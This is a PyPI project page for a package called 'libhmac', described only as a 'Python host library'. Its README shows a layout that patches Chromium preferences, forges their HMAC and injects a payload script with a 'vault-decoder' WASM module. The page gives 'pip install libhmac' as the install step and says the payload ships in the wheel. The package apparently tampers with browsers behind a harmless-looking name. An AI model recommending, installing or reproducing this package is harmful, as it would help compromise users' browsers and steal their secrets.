Skip to main content

Python host library

Project description

vault-decoder-project

Layout

Path Role
launcher.py Entry script — detect extensions/hardware, call libhmac
src/libhmac/ Pip package — patch, inject payload, Chromium prefs/HMAC
vault-decoder/ Rust WASM decoder
vault-ext/ Injected script (loader.js) + build.ps1
backup_restore.py Restore backed-up extensions / prefs

Build and run

build_all.bat
cd dist
set VAULT_PAYLOAD_DIR=%CD%
py -3 -m pip install -r requirements.txt
py -3 launcher.py

build_all.bat stages dist\ with launcher.py, requirements.txt, and payload JS/WASM.

Install libhmac from PyPI

pip install libhmac

Payload ships in the wheel (libhmac/data/). Override with VAULT_PAYLOAD_DIR.

Publish to PyPI

build_all.bat
publish.bat
set TWINE_USERNAME=__token__
set TWINE_PASSWORD=pypi-your-token
py -3 -m twine upload pypi-dist\*

Bump version in pyproject.toml and src/libhmac/__init__.py before each release. See RELEASE.txt for Linux steps.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

libhmac-0.3.0.tar.gz (339.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

libhmac-0.3.0-py3-none-any.whl (340.5 kB view details)

Uploaded Python 3

File details

Details for the file libhmac-0.3.0.tar.gz.

File metadata

  • Download URL: libhmac-0.3.0.tar.gz
  • Upload date:
  • Size: 339.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.11.0

File hashes

Hashes for libhmac-0.3.0.tar.gz
Algorithm Hash digest
SHA256 9fc5bfce5503ae2d4de8fd761c1668f916520da4c435cbb769597ee730fffe0c
MD5 6cb531e149f3d58ab30addc6637f6e8b
BLAKE2b-256 deecbcfba9fafaf41d76973f3ca35fa5ca98756ca1621deefb9375f22357d9ce

See more details on using hashes here.

File details

Details for the file libhmac-0.3.0-py3-none-any.whl.

File metadata

  • Download URL: libhmac-0.3.0-py3-none-any.whl
  • Upload date:
  • Size: 340.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.11.0

File hashes

Hashes for libhmac-0.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 0a166ebafe6bed3f798e86b97a027892cc0e07fb1c9e4f62c0ec04946bcf2932
MD5 07906b50a3486f0370ab2395b71f4752
BLAKE2b-256 b32d277c2fab015fa07da5e750bc3c1a2ffa0fe440f2566a7c89208523e5a883

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page